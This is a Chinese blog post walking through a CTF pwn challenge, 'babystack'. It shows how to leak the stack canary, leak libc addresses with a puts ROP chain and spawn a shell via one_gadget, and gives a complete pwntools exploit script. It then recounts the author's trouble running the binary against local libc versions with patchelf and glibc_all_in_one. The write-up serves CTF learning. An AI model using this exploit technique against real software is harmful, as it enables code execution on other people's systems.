攻防世界babystack(pwn1)——glibc_all_in_one初体验

攻防世界babystack(pwn1)——glibc_all_in_one初体验

文章目录

  • 攻防世界babystack(pwn1)——glibc_all_in_one初体验
      • 引入
      • 初步分析
        • 1、checksec
        • 2、伪代码分析
        • 3、栈分析
      • 解题思路
        • 1、泄露canary
        • 3、get shell
        • exp
      • 本地libc运行尝试
        • 尝试1
        • 尝试2
        • 尝试3
        • 尝试4(重大进展)

引入

​ 好久没做pwn题了,找了道简单的ret2libc做做,顺便尝试解决一些历史遗留问题 (其实就是让pwn题使用本地的libc的问题,省流:有突破性进展但没有完全解决)

初步分析

1、checksec

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第1张图片

​ 没有PIE,i了i了

2、伪代码分析

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第2张图片

​ 直接一个大大的溢出read甩我脸上,而且还是无限循环的read,而且有120字节的溢出空间(0x100-136),完全不需要自己费尽心思去构造乱七八糟的利用链,这种题请务必もっともっと!XD

​ 但是,在main函数的最开始部份存在着一条语句v6=__readfsqword(0x28u) ,这条语句的作用就是把canary字段读到栈中,所以这道题我们需要想到绕开或者泄露canary的方法,不然盲目地栈溢出会引起程序 __stack_chk_fail的报错。这里程序正好 提供了一个puts方法,可以供我们泄露canary。

3、栈分析

addr var
-0x90 buf
-0x8 var_8
0x0 s
0x8 r

​ 栈结构大致如上,其中var_8就是心心念念的canary,可以清楚看见canary以及返回地址都在栈溢出的覆盖范围内

解题思路

1、泄露canary

​ 由于题目给出了puts方法,所以可以尝试先把buf与canary之间的空间用字符填满,然后使用puts函数将canary输出。但是canary为了防止栈内容泄露,特地把最低位设置为"\x00",以此让输出函数被截断,防止泄露canary及canary后的栈内容。

​ 所以要是想要输出canary的值,需要使用填充字符把canary的最低位覆盖为"\x00"以外的值。又因为程序是小端程序,所以当我们溢出缓冲区一个字节时,溢出的一个字节正好能覆盖到canary的最后一个字节上,此时,canary将被认为是输入的一部分随着填充字符串被puts函数输出出来。

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第3张图片
攻防世界babystack(pwn1)——glibc_all_in_one初体验_第4张图片
​ 处理后获得canary

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第5张图片

因为调用过puts函数,所以puts的gots表地址和puts表地址是已知的,再加上有充足的溢出空间,所以这里还是请出老演员puts函数来把puts函数的libc装载地址泄露出来

​ 需要注意的是,由于程序为64位程序,所以puts函数的参数需要通过寄存器传递,所以这里还需要找到一个pop rdi; ret;的小gadget,这里我使用的是ROPgadget工具进行搜索,具体方法不再赘述。

​ 然后就可以开始构造ROP链,具体如下

payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 +  p64(rdi_addr) + p64(puts_got) + p64(puts_plt)  + p64(main_addr)

首先把canary归位,然后覆盖到返回地址,随后将puts函数的GOT表地址弹栈至rdi寄存器,再调用puts函数输出puts函数libc地址,最后返回main函数,实现持续控制。

libc_base=puts_addr-libc.symbols['puts']

3、get shell

​ 因为已经获得了libc基地址,所以现在可以随心所欲地get shell了,一般的方法是构造ROP链,尝试用一大堆gadget构造system(“/bin/sh”)并调用之,这里就不得不推荐一个神器——one_gadget,可以直接一步到位,找到libc里面的getshell语句

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第6张图片

这里我们随便选择一个作为getshell的目的地址,构建payload如下

payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)

exp

from pwn import *
from ctypes import *
context(arch='i386',os='linux',log_level = 'debug')

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def dbg(addr):
    gdb.attach(p,'b *$rebase({})\nc\n'.format(hex(addr)))

#p = remote("111.200.241.244",59449)
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

getsh_addr = 0x45216
rdi_addr = 0x400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400908


# canary leak
sla('>> ','1')
#pause()
sl('a'*0x84 + "ABCD")
sla('>> ','2')
ru('a'*0x84 + "ABCD")
#pause()
canary=u64(rc(8)[1::].rjust(8,'\x00'))
print hex(canary)

# libc leak
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 +  p64(rdi_addr) + p64(puts_got) + p64(puts_plt)  + p64(main_addr)
sla('>> ','1')
sl(payload1)
pause()
sla('>> ','3')
puts_addr = u64(rc(8).ljust(8,"\x00"))
print hex(puts_addr)

# get shell
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+getsh_addr
p.sendlineafter('>> ','1')
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
p.sendline(payload2)

p.sendlineafter('>> ','3')
p.interactive()

本地libc运行尝试

因为一直没法打通本地环境,根据网上教程尝试使用patchelf工具对目标程序的默认libc进行更换

尝试1

  • 首先是安装了patchelf,然后将目标程序的libc更换成了题目提供的libc,运行报错
  • 搜索教程发现,libc.so依赖同版本的ld.so运行,需要同时对ld进行更换,前提是机器里有对应版本的ld

尝试2

  • 为了让机器里有各版本的ld,根据大佬博文尝试自行编译各版本glibc源码,编译失败
  • 根据各libc版本,需要配置不同版本的gcc进行编译,首先搜索各libc对应版本的gcc就已经让我精疲力竭了,好不容易准备好一个版本的gcc,编译报错,搜索解决方法无果,耻辱退场,此法不了了之

尝试3

  • 发现其实有一个封装好的工具,可以方便地下载各版本的libc,并且自带build方法,叫做glibc_all_in_one,这次进展较顺利,成功使用自带的build方法配置了libc2.23的环境,但是使用对应libc并patchelf后,源程序无法运行

  • 搜索多种解决方法一一尝试后无果,再次放弃

尝试4(重大进展)

  • 正当问题进入僵局后,看见了一篇文章里面提到了这个工具,一站式傻瓜式操作,我直接吹爆!当场体验了一下,一个脚本获取所有支持版本的libc

攻防世界babystack(pwn1)——glibc_all_in_one初体验_第7张图片

  • 一切问题迎刃而解,想换哪个版本换那个,唯一的缺点就是本地还是没法打通,但可能只是意外,待我多调试调试后再水一篇博文
  • tips:觉得工具好用的别忘了给大佬github丢星星

你可能感兴趣的:(学习笔记,libc,pwn,ret2libc,汇编,canary)